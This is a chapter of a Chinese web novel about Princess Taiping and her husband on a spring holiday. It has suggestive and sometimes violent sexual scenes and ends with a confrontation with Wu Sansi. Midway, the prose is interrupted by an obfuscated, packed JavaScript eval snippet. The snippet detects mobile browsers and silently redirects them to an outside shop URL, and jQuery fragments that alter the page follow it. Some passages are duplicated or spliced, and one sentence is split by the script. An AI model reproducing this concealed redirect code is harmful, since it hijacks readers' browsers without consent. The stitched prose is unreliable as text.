默认冷灰
24号文字
方正启体

51. 偷得浮生几日闲

作者:叶倾风本书字数:K更新时间:
    清明休沐第三日·乐游原


    清明第三日的乐游原,恰是春色最浓时。原上野樱并非宫苑中精心修剪的垂枝品种,而是恣意生长的山樱,花开如云,绵延成片,远望如紫霞织就的幔帐,在春日和煦的日光下流淌着朦胧的光晕。微风过处,浅绯、粉白的花瓣便簌簌飘落,宛若一场温柔而盛大的雪。空气里弥漫着泥土苏醒的腥气、青草折断的清新,以及野花混杂的甜香,与公主府内处处熏染的沉水、瑞龙脑等宫廷御香截然不同,是一种粗糙而蓬勃的生命气息。


    刘皓南为今日出游,特意选了匹西域新贡的枣红骏马。马身矫健,毛色油亮如缎,最为特别的,是那副鞍鞯。皮革黝黑发亮,边缘以暗金色丝线密绣着繁复的卷草蔓花纹,而在鞍桥两侧不易察觉处,各嵌着一枚精钢打造的狼首扣环。日光偏移时,那狼首双目处镶嵌的某种青金色异石,便会流转出冷冽而内敛的光泽,绝非中原制式。


    太平被他扶上马背,与他共乘一骑。她今日未着繁复宫装,只一袭便于行动的绛红色胡服式裙裾,长发以金钗玉簪简单绾起,额间贴了花钿,颊边扫了淡淡的斜红,唇上一点“石榴娇”色,明艳夺目,与这漫山遍野的野樱竟有几分奇异的和谐。她足尖轻巧地勾着银镫,感受着身下马匹蓄势待发的力量,以及身后之人胸膛传来的温热与沉稳心跳,多日来因他“勤于王事”而生的那点幽怨,似乎也被这原野的风吹散了些。


    “薛郎这马镫的系法,” 她微微侧首,气息拂过他下颌,目光却落在自己足尖与马镫相接处那特殊的、交叉收紧的皮绳结上,“倒让我想起……从前在宫中藏书阁翻到的杂记,说突厥人驯服野马时,最爱用这种‘连环扣’,越是颠扑,系得越紧,以防坠马。” 她说着,忽然手腕一抖,不知怎的竟从刘皓南手中“借”过了些许缰绳的力道,猛地一拽!枣红马长嘶一声,马头险险擦过一树低垂的樱枝,哗啦啦——惊落的花瓣如雨,瞬间扑了刘皓南满身满襟,有几片甚至沾在了他微抿的唇上。


    刘皓南似乎低低笑了一声,那笑意很短,几乎瞬间就融在了风里。他并未去拂拭花瓣,反而手臂一收,将她更紧地箍在怀中,另一只手如电探出,精准地扣住了她方才“作乱”扯缰的手腕。那力道、那角度,竟与那夜在望楼高处,他擒住她探向他衣襟的手时,如出一辙。温热的掌心贴着微凉的肌肤,带着不容置疑的掌控。


    “殿下若想试‘鞍马术’,” 他低沉的声音响在她耳畔,因着马匹的轻快步和风声,带着些微的震颤,却字字清晰,“光在平地上跑跑,未免无趣。臣倒知道,北坡那边有处草甸,平坦开阔如毡,坡度也和缓,最适合……放缰驰骋。” 最后几个字,他几乎是贴着她耳廓说的,气息灼热,意有所指。


    太平耳根一热,心跳莫名快了两拍,却强作镇定,只轻哼一声:“是吗?那本宫倒要见识见识,薛驸马口中的‘驰骋’,是何等光景。”


    枣红马通晓人意,不待主人催促,已朝着北坡方向小跑起来,越跑越快,最后化为一道枣红色的流影,融入漫天飞樱与无垠的绿意之中。风中隐约传来太平压抑的低呼与清越的笑声,以及刘皓南偶尔几句简短的、指导她调整姿势或重心的话语。


    ……


    约莫一个多时辰后。


    当二人一骑的身影再次出现在林径尽头,缓缓朝着坡下等候的仆从队伍行来时,景象已与出发时大不相同。


    太平整个人几乎被裹在刘皓南那件宽大的玄色披风里,披风自头顶罩下,只在她倚靠的颈侧微微敞开一道缝隙,露出小半张绯红的脸颊和紧闭的眼睫。她似乎力竭,软软地靠在刘皓南胸前,一动不动。唯一暴露在外的,是一截无力垂落在马腹侧的雪白足踝,未着罗袜,足背肌肤在春光下泛着玉质般的光泽,只是那上面……似乎印着几点可疑的、像是被粗糙织物或什么反复摩擦留下的淡红痕迹。她原本整齐的绛红裙裾,此刻边缘凌乱,一角甚至与刘皓南腰间束着的青玉革带缠绕在一起,随着马背缓慢的颠簸,那裙裾与革带便一荡一荡,纠缠不休。


    更引人注目的是她的发髻。出发时精巧绾起的发式早已松散,几缕乌黑的发丝被汗水黏在鬓边和颈侧。而那支固发的赤金点翠凤钗,此刻竟歪斜地、深深地插进了刘皓南肩头玄色胡服上——正是那狼首纹饰扣环的缝隙之中!金钗的尾端流苏随着马步轻颤,与狼首冷硬的线条形成奇异的对比,仿佛经历过一番激烈的“搏斗”才卡在此处。刘皓南的中衣领口微微散开,露出一小片肌肤,而那上面,赫然残留着一点鲜艳的胭脂痕——正是太平今晨点在唇上的“石榴娇”色,此刻已有些模糊晕染,却依旧刺目。


    候在坡下凉亭边的侍从们见状,立刻齐刷刷垂下头,眼观鼻鼻观心,不敢多看。年长的李尚宫面色平静如常,只目光极快地扫过太平从披风缝隙中露出的、紧紧攥着刘皓南前襟衣料的手指——那纤白的指节用力到泛白,指甲缝隙里,似乎还残留着些许草叶碾碎后的嫩绿色汁液。随即,她的视线又极轻地掠过刘皓南的后颈,在那被衣领半掩的肌肤上,三道新鲜的红痕清晰可见,微微肿起,显然是被人用指甲抓挠所致。


    李尚宫眼中闪过一丝了然,面上却不露分毫,只微微抬手,示意身后捧着温水、巾帕、香露等物的小宫婢们上前侍候。


    马至近前,刘皓南勒住缰绳,率先利落下马。他落地时身形稳健,只是玄色的衣摆下缘,沾染了不少尘土和几片揉碎的海棠花瓣——乐游原上,这个时节海棠并未盛开,这花瓣颜色形态,倒像是别苑内精心培育的品种。


    他转身,伸手去扶马背上的太平。太平试着移动,双腿却是一软,若非刘皓南眼疾手快一把揽住她的腰肢,她几乎要直接跪倒在地。刘皓南手臂用力,顺势将她打横抱起。这个动作让原本裹紧的披风散开了一角,虽然只是电光石火的一瞬,但近前的李尚宫还是清楚地看到,太平腰间那条原本系着精致“同心结”珍珠流苏的裙带,此刻那象征好合美满的“同心结”已被扯得松散变形,几缕珍珠流苏更是断裂开来,莹白的珠子零星挂在断裂的丝线上,摇摇欲坠——那正是出行前,她亲手为公主系上的。


    “备温泉。” 刘皓南的声音传来,带着一种前所未有的低哑,仿佛被砂纸磨过,又浸满了某种餍足的疲惫。他不再多言,抱着将脸埋在他肩颈处、似乎羞于见人的太平,径自朝着原上属于公主府的别苑方向走去。


    经过低头侍立的侍女身旁时,有胆大些的悄悄抬起眼缝,瞥见驸马爷玄色衣摆上,除了泥土和海棠花瓣,似乎还沾着些草屑与细微的沙砾。而公主从披风下露出的那一小截脚踝上方,那几点淡红痕迹旁,又多了一枚颜色更深的、宛如花瓣般的印记,不,更像是……被人反复啄吻啃噬留下的痕迹。最令人心惊的是,公主一侧莹润的耳垂上,竟紧紧咬合着一只造型奇异的耳珰!那并非宫中常见的明珠玉环,而是一只小巧却狰狞的银狼!银狼线条流畅,双目以细小的墨色宝石点缀,獠牙微露,正死死“咬”住公主的耳垂,在春日阳光下闪烁着冰冷而野性的光芒。随着刘皓南稳健的步伐,那银狼耳珰也微微晃动,折射出刺目的光。


    行至别苑廊下,一阵裹挟着落英的春风忽然拂过,调皮地掀起了玄色披风的下摆。这一次,不止李尚宫,连旁边几个侍女也看得分明——太平公主雪白如玉的后腰处,赫然印着几道深红色的指痕!那指印的轮廓清晰,力道深重,绝非温存爱抚所能留下,倒更像是战场上,骑士为了在颠簸的马背上固定身形,或是擒拿对手时,用力抓握皮革、甲胄留下的淤痕!


    李尚宫瞳孔几不可察地一缩,脚下步伐加快,几乎是抢步上前,极为自然地为二人重新系紧松开的披风带子,动作利落恭敬。在系带时,她的指尖“不经意”擦过刘皓南后背的衣料——触手竟是一片惊人的湿冷!那玄色的外袍,脊背处几乎被汗水浸透,紧紧贴在身上。这绝不仅是春日骑马能带来的热度。


    别苑·温泉


    乐游原别苑的温泉引自骊山,池畔以天然青石垒砌,热气氤氲,四周植有湘妃竹,形成一道天然的翠色屏障。李尚宫正亲自指点着侍女调试新进贡的玫瑰香露,斟酌着加入温泉的比例,以求达到最佳的舒缓解乏之效。


    忽闻环佩轻响,只见太平公主仅披着一袭月白色鲛绡纱衣,赤足走了过来。纱衣极薄,被温热的湿气一蒸,更是几乎透明,紧紧贴在身上,勾勒出曼妙起伏的曲线。李尚宫目光一扫,便落在公主腰际——那本该光滑无痕的肌肤上,赫然横着几道淡红色的、略显粗糙的平行痕迹,边缘还有些许细微的脱皮。这分明是长时间紧贴马鞍,被鞍鞯皮革反复摩擦所致!尤其那狼首扣环对应之处,痕迹似乎更深一些。


    老尚宫眸光微动,瞬间明白了晨间那场“鞍马术”的激烈程度。她面上不动声色,只挥手示意正在忙碌的侍女们:“殿下要试安西都护府新贡的舒筋活络油,尔等将香箩、玉杵、药油备好,便退至竹帘外候着,非唤不得入内。”


    侍女们屏息敛目,迅速将一应物件在池边青玉案上摆放整齐,而后鱼贯退出,只留李尚宫一人在竹帘边侍立。


    不多时,刘皓南也换了身轻便的素色中衣,外罩一件宽松的黛蓝色长袍,走了进来。他目光扫过氤氲的池水,又落在池边闭目假寐的太平身上,对李尚宫略一颔首:“有劳尚宫,此处我自可照料。”


    刘皓南摒退众人走近时,李尚宫借着整理屏风的间隙,见他屈膝蹲在池边,掌心蘸着药油正要为太平揉按小腿。不料太平突然拽住他手腕将人拉入池中,黛蓝外袍与泥金披帛纠缠着挂在紫檀木屏风上,如水墨画中交颈的鸳鸯。


    初时竹帘外只闻水波轻漾,夹杂着刘皓南沉稳的指导声:"承山穴需用掌根按压......"忽然一声玉簪滚落石阶的脆响,接着是太平带着笑音的嗔怪:"薛郎这手法,倒像突厥人驯野马——专挑酸软处下手。"


    水声渐急,似锦鲤尾鳍拍打荷塘。李尚宫耳尖微动,听见衣料浮沉声混着断续低喘,如春风掠过柳梢时忽密忽疏。有年少宫婢好奇探头,被她用团扇轻敲后颈:"去取些新浴盐来。"自己却借着查验香箩的机会,移到更近处的竹帘缝隙。


    午后的日头渐渐西斜,老尚宫听着内里动静从最初的推拒转为缠绵,又几度复起波澜,不觉已站得腿脚酸麻。当她第三次更换支撑重心的腿时,听见太平带着哭音的讨饶混着水声传来:"薛绍......你莫不是要把这十多日欠的都讨回来......"


    李尚宫依旧垂眸静立,仿佛一尊入定的佛。只是那握着香箩的手指,指尖微微泛白。直到估摸着里面的人大约需要侍候了,她才几不可闻地舒了口气,示意身后的侍女们准备浴巾衣物,自己则垂首敛目,率先捧着干燥柔软的浴巾,轻轻掀开了竹帘一角,示意侍女重新备好干燥柔软的浴巾、寝衣等物,自己亲自捧着,垂首敛目,走入竹帘之内。


    氤氲水汽稍散,只见刘皓南正将太平从温泉中抱出。太平整个人如同没了骨头,软软地偎在他怀中,身上裹着的是刘皓南那件早已湿透的黛蓝色外袍,袍角滴滴答答往下淌着水。她只露出一截光裸的小腿和双足,那白玉般的脚踝上,此刻赫然印着几道交错的、深红色的指痕!痕迹新鲜,显然是被人用手紧紧攥握过,甚至可能不止一次。水珠顺着她纤细的脚踝滑落,滴在池边干燥的青石地砖上,洇开一小片深色的水迹。


    “取玫瑰膏来。” 刘皓南吩咐,他的声音带着一种前所未有的、饱食餍足后的低沉与沙哑,还有一种事后的慵懒。当他从李尚宫手中接过盛着玫瑰膏的玉盒时,微微抬手,那原本被湿发遮掩的颈侧便露了出来——上面赫然添了几道新鲜的抓痕,血丝微渗,那丹蔻的颜色,正是太平惯用的、最鲜艳的正红色。


    而更触目惊心的,是当刘皓南将太平稍稍侧放,准备为她涂抹药膏时,那湿透的外袍滑开,露出太平后腰及以下的大片肌肤——原本雪白的肌肤上,布满了大片暧昧的绯红,有些地方颜色深重,像是被粗糙的织物(或许是那鞍鞯?)反复摩擦所致,有些则颜色略浅,形状不规则,更像是……被人以唇齿或胡茬反复碾磨亲吻留下的痕迹。晨间驰骋时鞍鞯留下的淡红平行印记,与这些新鲜热烈、深浅不一的红痕叠加在一起,宛如雪原上绽开了层层叠叠、绚烂到糜艳的云霞。


    李尚宫极快地垂下眼,恭敬退至一旁。


    申时末·寝殿


    申时末,李尚宫亲自捧了安神定气的参茶,送至寝殿。殿内弥漫着淡淡的、混合了玫瑰膏与某种难以言喻气息的味道。茜纱窗半掩,暮色透入,光线昏黄。


    太平正伏在临窗的软榻上小憩。她只松松披着那件月白鲛绡纱衣,衣襟散乱,露出大片雪背和纤细的腰肢。纱衣下摆散开,隐约可见腰窝处,赫然印着几处深红色的、宛如指印的淤痕!那指印轮廓清晰,力道深重,不似温存爱抚,倒更像是北疆战士在战场上,为了稳住身形或是发力时,紧紧攥握弓弩或缰绳留下的印记!


    李尚宫心中暗叹,轻手轻脚上前,想将滑落一半的锦衾为公主重新盖好。然而,当她掀开锦衾一角时,目光一凝——榻沿柔软的地衣上,扔着一条断裂的珍珠腰链。正是今晨出行前,她亲手为公主系上的、象征“永结同心”的那条!此刻,珍珠散落了几颗,丝线从中间被生生扯断,断口处毛糙不堪,显然是被极大的力道暴力扯坏的。


    “驸马爷……也太过不知轻重了。” 李尚宫几乎无声地喃喃自语,指尖抚过那毛糙的断口,眼中闪过一丝复杂。既是担忧公主凤体,又似有几分了然与无奈。


    窗外庭院中,隐约传来刘皓南低声吩咐马夫备马的声音,似乎明日还有安排。紧接着,是太平带着浓浓睡意与鼻音的咕哝,从锦衾间模糊传来:“薛绍……明日……若再敢像前些时日那般……冷着我……” 后半句含糊下去,化作一声不满的轻哼,似嗔似怨,又带着筋疲力尽后的娇慵。


    暮色愈发深沉,透过茜纱窗,在光洁的地砖上投下温暖的光斑。李尚宫正欲悄然退出,目光无意间掠过妆台上的那面青铜菱花镜。镜中,恰好映出太平沉睡的侧颜。


    只见她唇瓣红肿不堪,色泽嫣红如浸透了晨露的玫瑰,微微嘟着,似乎有些委屈。眼尾的绯红一直蔓延到鬓角,那是泪水反复冲刷、又被亲吻过的痕迹。而铺散在锦枕上的如云青丝间,一点异样的冷光闪烁了一下——正是那只造型狰狞的银狼耳珰!它依旧紧紧咬合在公主柔嫩的耳垂上,随着她无意识的翻身动作,在渐浓的暮色里,闪烁着冰冷而执拗的幽光,与这满室慵懒暖昧的气息,格格不入,却又奇异地融合。


    李尚宫静静地看了一瞬,终是无声地叹了口气,悄步退出了寝殿,轻轻合上了门扉。门外廊下,晚风拂过庭中樱树,再次送来漫天花雨,温柔地覆盖了白日里的一切痕迹。


    清明休沐最后一日·暮色海棠林


    清明假期的最后一日,暮色如融化的金液,缓慢地浸染着乐游原西府的海棠林。这片林子并非精心打理的名贵品种,而是多年生野海棠,枝桠恣意横斜,花期将尽,浅绯色的花瓣在夕照中呈现出一种近乎透明的、脆弱的胭脂色,风过时,便簌簌落下,在地上铺了薄薄一层残红。


    太平捻着一枝垂到眼前的海棠,指尖稍稍用力,将那将谢未谢的柔软花瓣揉碎,胭脂色的汁液立刻染上她的指尖,带着些微凉意和草木特有的清苦气。她没有看身侧的刘皓南,目光似乎落在远处长安城渐渐亮起的星星点点灯火上,声音也像是从很远的地方飘来,带着一种梦境将醒的恍惚:


    “薛郎,那日在胡姬酒肆,我学那踏鹊枝的旋身舞步时,转得急了,眼前发晕……” 她顿了顿,指尖无意识地在粗糙的树干上划过,留下浅浅一道红痕,“不知怎的,忽然想起西域商队传唱的一句狼王谚语……”她忽然侧过头,眼眸在暮色中亮得惊人,猝不及防地,张口轻轻衔住了刘皓南束发玉冠垂下的一缕绯色缨穗。那缨穗本是柔软丝线编织,末端缀着细小的珍珠,此刻被她用齿尖轻轻咬住,微微一扯——力道不大,却足以让他束发的玉冠微微一松,几缕墨发自鬓边垂落,更迫得他顺着那细微的拉力偏过头来,与她四目相对。


    乐游原西府的海棠林浸在流金般的余晖里。太平捻着垂枝上将谢的花瓣,胭脂色汁液染上指尖:"我学踏鹊枝舞步时,忽然想起西域商队传说的狼王谚语——草原狼王求偶时,会咬住母狼后颈......直到对方露出肚皮。"声音压得极低,清晰得像淬了冰又裹了蜜的细针,一字一字,带着某种孤注一掷的挑衅与探寻,钻进他耳中。缨穗的丝线在她齿间绷紧,那颗小小的珍珠抵着她的唇瓣,冰凉圆润。这个动作异常大胆,也更加逾矩——这不再是触碰一件无关紧要的饰物,而是直接触及了他身为世家子弟、朝廷驸马的庄重仪容。扯动缨穗,便扯动了他的玉冠,也仿佛扯动了他那名为“薛绍”的、严谨守礼的表象之下,某些紧绷欲断的东西。暮色中,她眼底跳动着混合了不安、试探与破釜沉舟般光芒的火苗,仿佛在问:你这头披着华美衣冠的狼,敢不敢撕开这层皮,露出真容?


    话音未落,一阵天旋地转。刘皓南猛地擒住她那只染了花汁的手腕,力道之大,几乎让她以为腕骨要碎裂,随即她被狠狠掼在身后粗糙的海棠树干上,背脊撞得生疼,震得头顶花枝乱颤,迷离的花瓣如急雨般纷纷落下,模糊了彼此的视线。


    太平在纷乱迷离的花雨中,清晰地看见刘皓南的目光在那一瞬间骤然变了。


    那目光急剧地凝聚、收缩,仿佛所有的光与情绪都被吸入深不见底的瞳仁,只剩下两道锐利到令人心悸的寒芒,死死锁定在她脸上。


    那像月夜沙丘上,经过漫长潜伏终于等到猎物踏入致命范围的野狼,在发起扑击前最后一霎的静止与评估——冰冷,精准,带着撕碎一切的凶悍。太平甚至能从他骤然绷紧的下颌线条,和颈侧突起的青筋,感受到那股被瞬间引爆的、近乎实质的暴戾。她似乎还窥见了一丝飞速闪过的、同样激烈的东西——那是意识到“假期”将尽、伪装难以为继,又被对方以这种方式赤裸揭破时,涌起的近乎绝望的疯狂。


    这目光只存在了极短的一瞬,短得仿佛只是她的错觉。但太平知道,不是错觉。她的话语,她扯动缨穗的动作,像一把淬毒的钥匙,打开了一扇她或许并未完全准备好面对的门。


    她甚至没来得及惊呼出声,只听得“啪”一声脆响,腰间玉带扣应声迸裂!力道之猛,甚至带断了旁边一根细小的海棠枝桠,发出“咔嚓”一声轻响,惊起林间栖息的宿鸟,扑棱棱飞向昏暗的天空。


    “薛绍!” 太平挣扎起来,头皮一紧,发间金簪勾散了他束发的玉冠,墨黑的长发瞬间披散下来,遮住了他半边眉骨,在暮色中更添几分凌厉的阴影。她喘着气,不知是疼还是怒,抑或是某种同样被点燃的、不顾一切的火焰,话语像淬毒的刀子,直直刺向他最隐秘的、属于“刘皓南”的过往:“你去年在安西都护府‘历练’时……是不是也这般对待那些献舞的胡姬?用你从契丹人那里学来的手段?”


    “轰——” 这句话,如同一点火星,溅入了本就翻滚着压抑、不甘、对即将结束的“假期”以及即将回归的“身份”感到无比厌烦的滚油之中。刘皓南眼底最后一丝属于“薛绍”的克制与温文彻底崩碎。他喉间发出一声含糊的、近乎野兽般的低吼,猛地俯身,不是吻,而是近乎凶狠地啃咬上她脆弱的颈侧,力道大得让她瞬间疼出了眼泪,仿佛戈壁上最暴烈的风,卷着砂石碾过柔嫩的肌肤。


    太平被迫仰起头,视线穿过刘皓南披散的黑发,看向上方不断飘落的海棠花瓣。那些柔软的、失去生命的残红,落在她的脸上、他的发间,带着一种凄艳的、末日狂欢般的美。她忽然低低地笑了起来,笑声有些破碎,带着喘:“花落得太急了……薛绍,你看,像不像……像不像揽月轩那次,我不小心打翻的那盒‘胭脂醉’?也是这般,泼洒得到处都是,收拾都收拾不起来……”


    她感觉到身上人骤然僵住,所有的动作,包括那凶狠的啃咬,都停了下来。揽月轩,那是他“成为”薛绍后,第一个与她共度的、真正意义上的春宵,彼时他尚带着初入樊笼的疏离与谨慎,而她却已开始兴致勃勃地扮演起妻子的角色。那夜她也曾失手打翻胭脂,染红了他的袖口。


    残阳的最后一丝余晖沉入远山,林间光线骤然昏暗。就在这明暗交替的刹那,太平忽然仰头,对准刘皓南肌肉紧绷的肩头,狠狠咬了下去!不是调情,不是嬉闹,而是带着某种发泄般的狠劲,牙齿深深陷入皮肉,铁锈般的血腥气瞬间混着海棠残存的甜香,涌满了她的口腔。


    “呃——!” 刘皓南喉间滚出一声压抑的、痛苦的闷哼,身体剧震,钳制她的力道有瞬间的松动。


    就在这时,远处长安城的方向,传来了清晰的、报亥时的更鼓声。那声音穿透暮色,冰冷而规整,像是一盆冰水,兜头浇下。


    刘皓南猛地一颤,像是突然从一场癫狂的梦魇中惊醒。他眼底翻涌的暴戾、痛楚、迷茫与沉溺,如同潮水般迅速退去,只剩下冰冷的清醒,以及清醒过后,看着一片狼藉的、更深的空洞与自厌。他几乎是立刻松开了对她的钳制,动作甚至带了一丝仓皇。


    他先是迅速扯下自己那件早已在撕扯中残破不堪的玄色外袍,不由分说地将几乎衣不蔽体的太平紧紧裹住,从脖颈到脚踝,裹得严严实实,只露出一张苍白失神、沾着花瓣和泪痕的脸。他的指尖在颤抖,系着那根本无法系拢的衣带时,几次都无法打成一个完整的结。


    然后,他的目光落在地上。太平那双精美的金缕鞋,不知何时掉落,鞋面上缀着的珍珠串断裂开来,莹润的珠子滚了一地,混在泥土和落花之中。刘皓南竟猛地单膝跪了下去,不顾满地泥泞与残花,伸出双手,近乎仓皇地、一粒一粒地去捡拾那些散落的珍珠。他捡得极其专注,连那些沾了污泥的也不放过,用自己尚且干净的袖口去擦拭,仿佛那是无比珍贵的、失而复得的宝物。


    “殿下……” 他终于开口,声音沙哑粗粝得可怕,像是被砂石反复磨过,又像是压抑了太久终于冲破喉咙的呜咽。他跪行到她脚边,用自己另一只相对干净的袖口,去蘸不远处石潭里冰冷的活水,然后颤抖着,极其轻柔地去擦拭她颈侧被自己啃咬出的、已经渗出血珠的伤痕。那动作小心翼翼,轻得像是在拂去绝世瓷器上最微小的尘埃,与方才的凶狠暴戾判若两人。


    他不敢看她的眼睛,只是近乎徒劳地擦拭着,仿佛这样就能抹去一切。然后,他伸出双臂,将裹在宽大外袍里、显得格外娇小脆弱的她,打横抱了起来。海棠枝桠勾破的绛红色纱质裙裾残片,拖曳在地,又随着他的步伐,在渐起的夜风里飘荡,像一面破碎的、褪色的旗帜。


    “快看!是驸马!驸马抱着公主往寝殿方向去了!” 远处月洞门下,一个小宫女踮着脚尖,压低声音惊呼。暮色中,只见刘皓南玄色胡服的后背布料几乎完全撕裂,露出肌肉线条流畅的背脊,以及上面几道新鲜的、微微渗血的抓痕。而太平被他紧紧抱在怀中,脸埋在他颈侧,看不清神色,只有一只雪白的足踝露在外面,足尖上悬着的小小金铃,随着刘皓南沉重而迅疾的步伐,叮铃、叮铃……发出细碎而寂寥的声响,一路延伸向灯火渐起的寝殿方向。


    年长的李尚宫没有像小宫女那般张望,她只是蹙着眉,目光沉沉地盯着地面——青石小径上,散落着被碾碎的海棠浆果,混合着撕碎的玉带残片和珍珠,在暮色中洇开一片片暗红色的、黏腻的污迹,像是某种无声的、激烈的证物。“驸马爷……” 她捏紧了袖中那枚掌管库房重地的金钥匙,指节泛白,最终只是几不可闻地叹了口气,声音里带着深深的疲惫与不赞同,“……也太不知轻重,纵着公主……在这等地方……” 后面的话,消散在渐起的夜风里。


    寝殿内,琉璃宫灯次第亮起,驱散了暮色,也照亮了一室暖融,却驱不散某些无形的东西。白玉砌成的浴池边,刘皓南沉默地单膝跪着,用浸了温水和玫瑰香露的软巾,极为小心地为太平濯足。氤氲的热气混合着疗伤药膏清苦的气息,弥漫在空气中。他握住她纤细脚踝的动作温柔至极,仿佛那是易碎的琉璃。然而,当他的目光落在她脚踝内侧一道新鲜渗血的、被草叶或石子划出的红痕时,动作骤然停顿,呼吸也随之一窒。


    太平一直沉默着,任由他摆布,此刻却忽然倾身向前。她身上只松松披了件寝衣,带着湿意的长发垂落,扫过他的手臂。她伸出指尖,蘸了一点旁边玉盒中清凉的药膏,然后,轻轻抹过他肩头那个新鲜而清晰的、属于她的齿痕上。她的动作很慢,指尖冰凉,目光却平静得近乎空洞。


    “薛绍,” 她开口,声音有些沙哑,语气却异常平淡,仿佛在讨论天气或诗文,“你读过《礼记》吧?里面说……‘夫妇之道,如调琴瑟’。” 她抬起眼,看向他低垂的、紧抿的唇,和那微微颤抖的、沾湿的长睫,“琴瑟和鸣,固然是好。可若弦绷得太紧,调得太急……是会断的。”


    窗外,负责守夜的小宫女偷偷扒着窗棂缝隙,只看见驸马爷宽阔的背影猛地一震,随即像是承受不住某种重量般,突然将脸深深埋进了公主摊开的掌心之中。他的肩膀剧烈地颤抖起来,如同一张被拉到极限、几乎要崩断的弓弦,却没有任何声音发出。


    而侍立在屏风外的李尚宫,目光却落在被匆忙扔出屏风、丢弃在地上的那件破碎的兜衣上——那是太平贴身的衣物,此刻已被撕扯得不成样子。然而,最引人注目的是,兜衣上原本绣着的、象征好合美满的“同心结”金线,此刻正死死地、凌乱地缠绕着一枚小小的、造型狰狞的狼首银扣!那银扣在烛火映照下,闪烁着冰冷而执拗的幽光,与那象征柔顺缠绵的“同心结”纠缠在一起,形成一种无比刺眼又无比诡异的画面。李尚宫的眉头皱得更紧了,她无声地移开目光,心中那声叹息,愈发沉重。


    回程·春明门外的交锋


    次日,清明假期的最后一日,也是回程之时。马车在暮色中缓缓驶向春明门,车厢里一片沉寂,只有车轮碾过官道的单调声响。太平倚在软垫上,闭目养神,颈间系了条轻薄的丝巾,遮住了昨日的痕迹,但眼角眉梢的倦意,以及偶尔细微挪动身体时下意识轻蹙的眉头,泄露了不适。刘皓南坐在她对面,目光落在窗外飞逝的景色上,侧脸线条紧绷,下颚收紧,周身弥漫着一股生人勿近的低气压。昨日的疯狂与今晨的清理上药,似乎并未化解什么,反而在两人之间划下了一道更深的、无声的裂痕。


    就在马车即将驶入春明门时,斜刺里突然冲出一辆朱漆华盖的钿车,车速极快,堪堪拦在了公主府马车的前方。驾车的内侍急忙勒马,车厢猛地一顿。


    对面钿车的锦帘被一只戴着硕大玉扳指的手挑起,露出武三思那张保养得宜、却总带着几分精明算计的脸。他目光先是状似无意地扫过公主府马车的规制,随即精准地投向微微晃动的车帘,仿佛能穿透车壁,看到里面的人。


    “我当是谁家车驾,行得这般……急切。” 武三思的声音带着惯有的、令人不适的笑意,慢悠悠响起,目光却如钩子,试图从帘幕缝隙中捕捉到什么,“原来是公主殿下与薛驸马。殿下这车……方才似乎晃得有些不同寻常,可是辕轴需要检修了?若是车驾不便,不如让下官护送一程?” 他刻意咬重了“检修”二字,语气里的探究与某种隐晦的暗示,几乎不加掩饰。他觊觎太平,并非一日两日,不仅是因其权势,亦对其容貌风姿存了亵渎之心,此刻见其车马从乐游原方向归来,又听闻驸马近日“勤于公务”冷落公主的传闻,便忍不住出言试探,想窥得一丝“闺中不谐”的痕迹,以满足其龌龊心思,更存了挑拨与伺机攫取利益之念。


    太平原本微阖的眼眸倏然睁开,眼底闪过一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185079|196997||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    丝冰冷的厌恶与怒意。她并未掀开车帘,反而忽然抬手,将自己本就因颠簸而有些松散的云鬓又拨乱了几分,然后,她竟微微探出半幅身子,手臂懒懒地支在车窗边。暮色余晖恰好落在她身上,只见她云鬓斜堕,几缕发丝黏在微有汗意的颈侧,丝巾不知何时滑落了些,襟口微微敞开一道缝隙,恰好露出颈侧一抹未完全被衣物遮掩的、新鲜的红痕——那是昨日海棠林中激烈情事留下的印记,颜色未褪,在昏黄天光下,反而有种惊心动魄的艳丽。她以团扇半掩着面,只露出一双水光潋滟、却淬着寒冰与蜜糖般恼意的眼眸,声线不高,却清晰地传到武三思耳中,带着十足十的骄矜与不屑:


    “原来是武将军。” 太平的声音不高不低,带着惯有的骄矜,却精准地用了武三思此刻的职衔,那声音里透出的意味,已足够让武三思脸上的假笑僵了僵。


    锦帘微动,一只欺霜赛雪的手腕懒懒探出,指尖捏着柄泥金团扇,漫不经心地拨弄着帘上流苏。太平并未露脸,只那半幅随着马车轻晃而微微显露的侧影,云鬓微松,一缕青丝黏在颈侧,便已足够引人遐思。她的声音再次响起,依旧带着那种蜜糖裹着冰碴子的恼意,仿佛只是随口抱怨,却又字字清晰:


    “将军这般‘体察入微’,连本宫车驾略有晃动都瞧在眼里,真是有心了。” 她顿了顿,团扇似乎轻轻掩面,发出一声极轻的、意味不明的哼笑,“不过嘛,将军这修车验轴、关切备至的好心思,依本宫看,还是留着仔细伺候您府上夫人,方是正理。本宫的车驾稳当与否,自有驸马时时看顾,可不敢劳动将军大驾,费这份心。”


    她语速不疾不徐,甚至带着点慵懒,但“武将军”与“驸马”的对比,“府上夫人”与“本宫”的区分,尤其是那句“可不敢劳动将军大驾,费这份心”,将亲疏远近、尊卑规矩点得明明白白,更暗讽他手伸得太长,心思用错了地方。既全了表面礼数,又结结实实将武三思那点窥探挑拨的心思挡了回去,还隐隐刺了他妄图攀附、举止逾矩。


    武三思脸上那勉强维持的笑容彻底挂不住了,眼底掠过一丝阴鸷。他确实只是武则天众多族侄中较得脸的一个,虽有官职,但在真正的天潢贵胄、尤其是有实封、得圣心的太平公主面前,终究是臣子。太平这声“武将军”,和后面绵里藏针的话,像一盆冷水,浇醒了他方才被那抹惊鸿一瞥的红痕勾起的、不合时宜的燥热与妄念。他搭在车窗上的手指紧了又松,终是强压下心头翻涌的嫉恨与难堪,从牙缝里挤出一句:“殿下说笑了,是下官唐突。” 目光却不由自主地再次瞟向那微微晃动的车帘,仿佛想穿透它,确认更多。


